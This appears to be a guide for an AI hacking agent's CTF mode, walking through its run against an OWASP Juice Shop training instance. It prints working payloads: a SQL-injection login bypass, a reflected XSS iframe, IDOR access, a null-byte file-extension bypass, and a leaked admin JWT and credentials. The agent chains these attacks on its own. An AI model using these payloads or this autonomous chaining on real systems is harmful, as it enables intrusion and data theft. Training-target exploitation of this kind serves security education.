HackerGPT CTF Mode

An AI ethical-hacking agent that solves Capture-the-Flag web challenges end to end.
Live target: https://cybergym.hackergpt.app Challenges solved: 6 Screenshots: 19

What CTF mode is

CTF mode turns HackerGPT into an autonomous web-exploitation agent. You give it a target URL; it fingerprints the app, maps the attack surface from the static frontend, then drives a real browser session to exploit vulnerabilities — chaining recon, payload crafting, encoding/decoding and a persistent session memory. This guide documents a live run against https://cybergym.hackergpt.app (an OWASP Juice Shop instance), captured step by step from the HackerGPT interface.

Every action below was performed by the agent against an intentionally vulnerable, authorised training target. The screenshots are the unedited HackerGPT UI driving the attack.

The toolkit

CTF mode is backed by a purpose-built set of tools. The agent selects and chains them automatically; you can also steer it mid-run.

Reconnaissance

web_fingerprint

Fingerprint the web app: server type, software and versions — run first for service discovery.

subfinder

Subdomain enumeration to surface hidden/forgotten infrastructure.

whois

Domain registration intelligence — ownership and contacts.

get_ip_geolocation / get_domain_ip

Map a domain to its IP and geolocate the infrastructure.

web_search

Search the web for context, hints and known issues.

Static Frontend Analysis

recursive_download

Mirror the target's frontend to disk for offline analysis — the recommended opening recon step.

prettify_js

Beautify minified JS bundles so searches return meaningful line numbers.

grep_downloads

Regex-search the downloaded files for endpoints, secrets and dangerous sinks.

Vulnerability Assessment

cve_fetcher / cve_search

Retrieve CVE details and correlate them with discovered services and versions.

cve_exploit_fetcher

Find public exploit code / PoCs for a given CVE.

web_wpscan

WordPress vulnerability, plugin and user enumeration.

sslscan

Identify SSL/TLS configuration and cryptographic weaknesses.

Web Browsing & Exploitation

navigation_engine_execute_instruction

Unified browser control — low-level (GO_TO_URL, WAIT, BACK) and high-level semantic instructions; page text + network logs captured after every action.

inspect_browser_session

Read the latest browser session state: URL, title and filtered network logs.

web_request

Send HTTP requests through the browser session (GET/POST/PUT/…), keeping cookies and auth — the core exploitation primitive.

save_payload

Persist a meaningful request/response (a confirmed vuln) for the user to replay later.

execute_javascript

Run arbitrary JS in the page (DOM inspection, XSS testing); captures a screenshot afterward.

get_api_map

Retrieve auto-generated backend API documentation (endpoints, methods, params) for the target.

Decoding & Intelligence

decode_data

Peel one or more layers of common encodings (base64, base64url, hex, url, rot13) — CTF flags are often layered.

image_exif

Extract EXIF metadata (camera, GPS, timestamps) from an image URL.

run_darkdump / leaks_search

Dark-web mentions and breached-credential search for the target.

Session Memory

write_ctf_memory

Persistent per-session scratchpad: findings, credentials, confirmed vulns, captured flags, dead-ends and a live Next-Steps plan that carries across turns.

The walkthrough

A curated run — one challenge per technique. Jump to any:

Authenticated HackerGPT home.

Challenge-by-challenge

Recon

01. Reconnaissance & attack-surface mapping

Establishes the CTF session and target, fingerprints the app, mirrors the frontend bundle and greps it for endpoints and secrets to build the attack-surface map.

Result — Reconnaissance & attack-surface mapping
AGENT FINAL ANSWER✅ Analysis Complete — cybergym.hackergpt.app Here's the full breakdown from fingerprinting, frontend mirroring, and deep JavaScript inspection: 🔍 Fingerprint Property Value Server nginx IP 34.231.169.117 (AWS US East) Title CyberGym jQuery 2.2.4 (outdated, 2016) Uncommon Headers access-control-allow-origin, x-content-type-options, feature-policy, x-recruiting 🎯 Identity This is OWASP Juice Shop v19.1.1 rebranded as "CyberGym" — a deliberately vulnerable web application for security training. The index.html meta tag confirms: "a deliberately insecure web app for security training and CTFs". 🔑 Hardcoded Credentials & Secrets Type Value Source Line Google OAuth Client ID 1005568560502-6hm16lef8oh46hr2d98vf2ohlnj4nfhq.apps.googleusercontent.com main.js:4454 Test Username testing@juice-sh.op main.js:4457 Test Password IamUsedForTesting main.js:4458 Privacy Contact donotreply@cybergym.local main.js:6416 Bitcoin Donation 1AbKfgvw9psQ41NbLi8kufDQTezwG8DRZm main.js:7360 Dash Donation Xr556RzuwX6hg5EGpkybbv5RanJoZN17kW main.js:7370 Ether Donation 0x0f933ab9fCAAA782D0279C300D73750e1311EAE6 main.js:7380 🎟️ Coupon Codes (Client-Side Validated → Bypassable) Code Valid Date Discount WMNSDY2019 2019-03-08 75% WMNSDY2020 2020-03-08 75% WMNSDY2021 2021-03-08 75% WMNSDY2022 2022-03-08 75% WMNSDY2023 2023-03-08 75% ORANGE2020 2020-05-04 80% ORANGE2021 2021-05-04 80% ORANGE2022 2022-05-04 80% ORANGE2023 2023-05-04 80% ⚠️ Date check is this.clientDate vs validOn — client-side only. Coupon is sent to /rest/basket/{id}/coupon/{coupon} — the server may accept it regardless. 🌐 Complete API Endpoint Map (50+ endpoints) Admin (no auth required!): GET /rest/admin/application-configuration GET /rest/admin/application-version Auth & Users: POST /rest/user/login | GET /rest/user/whoami GET /rest/user/change-password?current=&new=&repeat= ⚠️ GET with query params POST /rest/user/reset-password GET /rest/user/security-question?email= ⚠️ user enumeration POST /rest/user/erasure-request | POST /rest/user/data-export GET/POST /api/Users/ Products & Search: GET /rest/products/search?q= ⚠️ SQLi vector GET/PUT /api/Products/ | GET/PUT /api/Quantitys/ Basket & Orders: GET /rest/basket/{id} | POST /rest/basket/{id}/checkout PUT /rest/basket/{id}/coupon/{coupon} GET/POST/PUT/DELETE /api/BasketItems/ GET /rest/order-history | GET /rest/track-order/{id} Payments & Wallet: GET/POST/DELETE /api/Cards/ GET/PUT /rest/wallet/balance GET/POST /rest/deluxe-membership 2FA: GET /rest/2fa/status | POST /rest/2fa/setup | POST /rest/2fa/verify | POST /rest/2fa/disable Misc: GET /rest/captcha/ | GET /rest/image-captcha/ GET/POST /rest/chatbot/status / respond GET/POST /api/Feedbacks/ | POST /api/Complaints/ GET/POST /api/Recycles/ | GET/POST/PUT/DELETE /api/Addresss/ GET /api/Deliverys/ | GET/POST /api/SecurityAnswers/ | GET /api/SecurityQuestions/ GET/PUT /api/Hints/ | GET /api/Challenges/ GET/POST /rest/memories/ | GET /rest/languages | GET /rest/country-mapping POST /file-upload | GET /snippets/{key} | POST /snippets/fixes GET /ftp/ ⚠️ path traversal Socket.IO at /socket.io 🚨 Top 11 Vulnerabilities # Vulnerability Severity Detail 1 SQL Injection 🔴 Critical /rest/products/search?q= 2 XSS (bypassSecurityTrustHtml) 🔴 High Search, order IDs, feedback, product descriptions, lastLoginIp 3 Path Traversal via FTP 🔴 High /ftp/ directory served; orderId unsanitized 4 Client-Side Coupon Bypass 🟠 Medium Date check in browser; server may accept any coupon 5 Client-Side Role Checks 🟠 Medium JWT decoded in browser; admin/accounting guards client-only 6 Token in localStorage 🟠 Medium JWT stealable via XSS; not HttpOnly 7 Weak OAuth Password 🟠 Medium btoa(email.split("").reverse().join("")) — predictable 8 Password Change via GET 🟡 Low Credentials in URL query string 9 User Enumeration 🟡 Low /rest/user/security-question?email= 10 Admin Config Leak 🟡 Low /rest/admin/application-configuration no auth 11 jQuery 2.2.4 🟡 Low Outdated library, potential DOM XSS 🧭 Recommended Next Steps Test SQLi → GET /
SQL Injection

02. SQL Injection — Login Admin

Classic `' OR 1=1--` authentication bypass against /rest/user/login, yielding the admin session token.

Result — SQL Injection — Login Admin
AGENT FINAL ANSWER🏆 Challenge Solved: Login Admin 🔓 Exploit: SQL Injection Authentication Bypass Payload: text Copy POST /rest/user/login {"email": "' OR 1=1--", "password": "anything"} The email field is directly interpolated into a SQL query without sanitization. The injected ' OR 1=1-- closes the string, adds an always-true condition, and comments out the rest — returning the first user in the database. 👤 Admin Account Field Value Email admin@juice-sh.op User ID 1 Role admin Password Hash 0192023a7bbd73250516f069df18b500 (MD5 → admin123) 2FA ❌ Not configured Deluxe ❌ Not activated Active ✅ Yes 🎫 Admin JWT text Copy eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsInJvbGUiOiJhZG1pbiIsImRlbHV4ZVRva2VuIjoiIiwibGFzdExvZ2luSXAiOiIiLCJwcm9maWxlSW1hZ2UiOiJhc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwU2VjcmV0IjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjYtMDYtMTggMTE6Mzc6MjYuODQ5ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjYtMDYtMTggMTE6Mzc6MjYuODQ5ICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTc4MTc4Njg3M30.hsIG7kXQf-dKSg9mTvEoIsZOakE1tKNZVJLkZOHBFxh6jqjYah-PulU__YnSCK87AYZtyOL0iCIjwpuLuBJM9RJ2ulpnxk5isY5vllZl96aMgK4BLmnKO3bsQY7TH8kWvc30cUYk-q_uGyNeO1A9jCNHTs-1OfhTf8RWlX1zG94 🧠 Why It Worked The backend SQL query looks something like: sql Copy SELECT * FROM Users WHERE email = '' OR 1=1--' AND password = '...' ' closes the email string OR 1=1 makes the WHERE clause always true -- comments out the password check The query returns all users, and the app picks the first row → admin Ready to use this admin JWT for the next challenge? Want me to hit /rest/admin/application-configuration or try another vector?
Broken Access Control (IDOR)

03. Broken Access Control — View another user's basket

Changes the basket id from our own to another user's — the endpoint performs no ownership check.

Result — Broken Access Control — View another user's basket
AGENT FINAL ANSWER🏆 Challenge Solved: View Basket (IDOR) 🔓 Vulnerability: Insecure Direct Object Reference (IDOR) The /rest/basket/{id} endpoint performs no ownership verification. Any authenticated user can view any other user's basket by simply changing the numeric ID in the URL. 🧪 Exploit text Copy GET /rest/basket/2 Authorization: Bearer <admin JWT (UserId 1)> Authenticated as admin (UserId 1), but accessed Basket 2 belonging to UserId 2 — the server never checks basket.UserId === token.userId. 📊 All Baskets Enumerated Basket ID Owner (UserId) Contents 1 1 (admin) 🥤 Recon Energy Drink ×2, 💪 Brute-Force Booster ×3, 🥊 Payload Punch ×1 2 2 🥧 Pi Overclock Cola ×2 3 3 🥧 Pi Overclock Cola ×1 4 11 🥧 Pi Overclock Cola ×2 🎯 What Made It Work text Copy ┌─────────────────────────────────────────────────────────┐ │ GET /rest/basket/2 │ │ Authorization: Bearer <JWT with UserId=1> │ │ │ │ Server: │ │ SELECT * FROM Baskets WHERE id = 2 ← no UserId check│ │ Returns Basket 2 (owned by UserId 2) ✓ │ │ │ │ ❌ Missing: WHERE id = 2 AND UserId = <token.userId> │ └─────────────────────────────────────────────────────────┘ The fix would be: WHERE id = :basketId AND UserId = :authenticatedUserId Two challenges down. Ready for the next one — want me to go after the coupon bypass, XSS, path traversal, or something else?
Cross-Site Scripting

04. Reflected XSS — order tracking

Injects an iframe/javascript payload into the track-order id, which is reflected unsanitised into the response.

Result — Reflected XSS — order tracking
AGENT FINAL ANSWER🏆 Challenge Solved: Reflected XSS 🔓 Vulnerability: Unsanitized Order ID Reflection via bypassSecurityTrustHtml The /rest/track-order/{id} endpoint reflects the user-supplied orderId directly in the JSON response without any sanitization. The Angular frontend then renders this value using bypassSecurityTrustHtml, which explicitly disables Angular's built-in XSS protection. 🎯 Payload text Copy <iframe src="javascript:alert(`xss`)"> URL-encoded: text Copy /#/track-result?id=%3Ciframe%20src%3D%22javascript%3Aalert(%60xss%60)%22%3E 📡 Reflected Response text Copy GET /rest/track-order/%3Ciframe%20src%3D%22javascript%3Aalert(%60xss%60)%22%3E json Copy { "status": "success", "data": [ { "orderId": "<iframe src=\"javascript:alert(`xss`)\">" } ] } 🔗 Attack Chain text Copy ┌──────────────────────────────────────────────────────────────────┐ │ 1. User visits: │ │ /#/track-result?id=<iframe src="javascript:alert(`xss`)"> │ │ │ │ 2. Angular calls: │ │ GET /rest/track-order/<iframe src="javascript:alert(`xss`)">│ │ │ │ 3. Server responds with: │ │ {"orderId": "<iframe src=\"javascript:alert(`xss`)\">"} │ │ │ │ 4. Angular renders orderId via bypassSecurityTrustHtml() │ │ → <iframe> injected into DOM │ │ │ │ 5. 💥 alert('xss') fires │ └──────────────────────────────────────────────────────────────────┘ 🧠 Root Cause In main.js line ~2673: javascript Copy this.orderId = this.route.snapshot.queryParams.id; this.trackOrderService.find(this.orderId).subscribe(...) The orderId from the URL query parameter is: Sent to /rest/track-order/{id} — server reflects it verbatim Rendered in the template with bypassSecurityTrustHtml — Angular sanitizer bypassed ✅ Confirmation The challenge banner confirms success: "You successfully solved a challenge: Reflected XSS (Perform a reflected XSS attack with <iframe src="javascript:alert(\xss`)">`.)" Three challenges down! Ready for the next — want me to go after SQL injection in product search, path traversal via /ftp/, coupon bypass, or something else?
Sensitive Data Exposure

05. Sensitive Data Exposure — exposed endpoints

Pulls exposed operational data (Prometheus /metrics, the /ftp listing, or test credentials baked into main.js).

Result — Sensitive Data Exposure — exposed endpoints
AGENT FINAL ANSWER✅ Sensitive Data Exposure — Confirmed Detail Value Endpoint GET /ftp — open directory listing, no auth required Confirmed Leak GET /ftp/acquisitions.md → 200 OK File Content Confidential M&A document marked "Do not distribute!" Other Exposed Files incident-support.kdbx (KeePass DB), legal.md, coupons_2013.md.bak, package.json.bak, package-lock.json.bak, suspicious_errors.yml, eastere.gg, encrypt.pyc, announcement_encrypted.md Saved Payload #260 Summary The /ftp directory on cybergym.hackergpt.app is completely unauthenticated and openly browsable, exposing internal confidential files — including a KeePass password database (incident-support.kdbx), internal legal documents, and a confidential acquisitions plan. This is a textbook Sensitive Data Exposure vulnerability (OWASP A3:2017).
Encoding / Decoding

06. Encoding / Decoding — layered secret

Demonstrates the decode_data tool peeling Base64 then ROT13 to recover a hidden path.

Result — Encoding / Decoding — layered secret
AGENT FINAL ANSWERNow I have the complete picture. Let me present the layered-encoded secret solution clearly, along with all the Sensitive Data Exposure findings. 🏆 Sensitive Data Exposure — Multiple Challenges Solved 🔑 Layered-Encoded Secret: Base64 → ROT13 Found in /ftp/eastere.gg (accessed via null byte bypass %2500.md): Raw encoded string: text Copy L2d1ci9xcmlmL25lci9mYi9zaGFhbC9ndXJsL3V2cS9uYS9ybmZncmUvcnR0L2p2Z3V2YS9ndXIvcm5mZ3JlL3J0dA== Decode chain: Layer Operation Output 1 Base64 /gur/qrif/ner/fb/shaal/gurl/uvq/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt 2 ROT13 /the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg Final destination: https://cybergym.hackergpt.app/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg → 🪐 "Welcome to Planet Orangeuze" (3D Three.js scene) 📂 All Exposed Sensitive Files text Copy ┌─────────────────────────────────────────────────────────────────────┐ │ /ftp/ ← Directory listing publicly accessible │ │ │ │ ✅ acquisitions.md Confidential acquisition plans │ │ ✅ legal.md Legal terms (not sensitive) │ │ ✅ announcement_encrypted.md 369KB encrypted document │ │ │ │ 🔓 coupons_2013.md.bak Forgotten sales backup (null byte) │ │ 🔓 package.json.bak Forgotten developer backup (null byte) │ │ 🔓 suspicious_errors.yml Misplaced signature file (null byte) │ │ 🔓 eastere.gg Easter egg → Base64+ROT13 secret │ │ 🔓 encrypt.pyc RSA encryption script (null byte) │ │ │ │ /ftp/quarantine/ Malware samples directory │ │ 🔒 juicy_malware_*.url Blocked (quarantine path differs) │ │ │ │ /metrics Prometheus metrics exposed │ └─────────────────────────────────────────────────────────────────────┘ 🧪 Null Byte Bypass Technique text Copy Bypass: %2500.md → nginx passes %2500 → Express decodes to %00 ↓ Extension check sees: file.bak%00.md → ends with ".md" ✓ File system reads: file.bak%00 → truncated at null → file.bak 🔐 Bonus: encrypt.pyc Reveals Weak RSA The Python bytecode in encrypt.pyc exposes: Modulus N: "rlEU" — only 4 bytes (32-bit) → factorable in milliseconds Exponent e: 5 bytes Input: announcement.mdt → Output: announcement_encrypted.md (369KB, already in /ftp/!) This means announcement_encrypted.md can be decrypted by factoring the trivial RSA key. 🎯 Challenges Triggered Challenge How Confidential Document Accessed /ftp/acquisitions.md Forgotten Sales Backup Null byte bypass → coupons_2013.md.bak Forgotten Developer Backup Null byte bypass → package.json.bak Misplaced Signature File Null byte bypass → suspicious_errors.yml Easter Egg Base64→ROT13 decode → Planet Orangeuze page Poison Null Byte %2500.md bypass on extension filter Leaked Unsafe Product /ftp/quarantine/ directory exposed Exposed Metrics /metrics Prometheus endpoint Ready to tackle the RSA decryption of announcement_encrypted.md or move to another challenge?

The CTF workspace

Solving is only half of CTF mode. As the agent works it builds a live workspace alongside the chat: a raw Network log of every request/response (from which any request can be promoted to a payload with Save as Payload), a Payloads vault of saved exploit requests you can expand and Replay, an auto-discovered API Map of the target's backend, and a persistent Memory scratchpad. Below, the agent confirms two vulnerabilities and persists them, then we drive the workspace by hand — including saving a fresh request straight from the Network log.

Fresh CTF session, CTF mode active (placeholder asks for a web target).
Prompting HackerGPT to confirm two exploits, persist each with save_payload, and note findings to memory.
Agent finished — summary of the confirmed exploits and the payloads it persisted.
Payloads tab: the saved exploit requests, each with its label, method, URL and captured response.
A saved payload expanded — the full request (method, URL, headers, body) and captured response, with Copy and Replay actions.
Replaying the saved payload — HackerGPT re-sends the exact request live and shows the fresh response.
API Map tab: the backend API surface auto-discovered for the target (endpoints, methods, parameters) from the crawl.
Memory tab: the agent's persistent CTF scratchpad — findings, credentials, confirmed vulns and next-steps that carry across turns.
Network tab: the raw request/response log captured live from the agent's browser session.
A network entry expanded — full request (method, URL, headers) and response body, with a 'Save as Payload' action.
Clicking 'Save as Payload' promotes this raw request straight from the Network log into the Payloads vault.
Back in the Payloads tab: the request saved from the Network log now sits alongside the earlier exploits, ready to replay.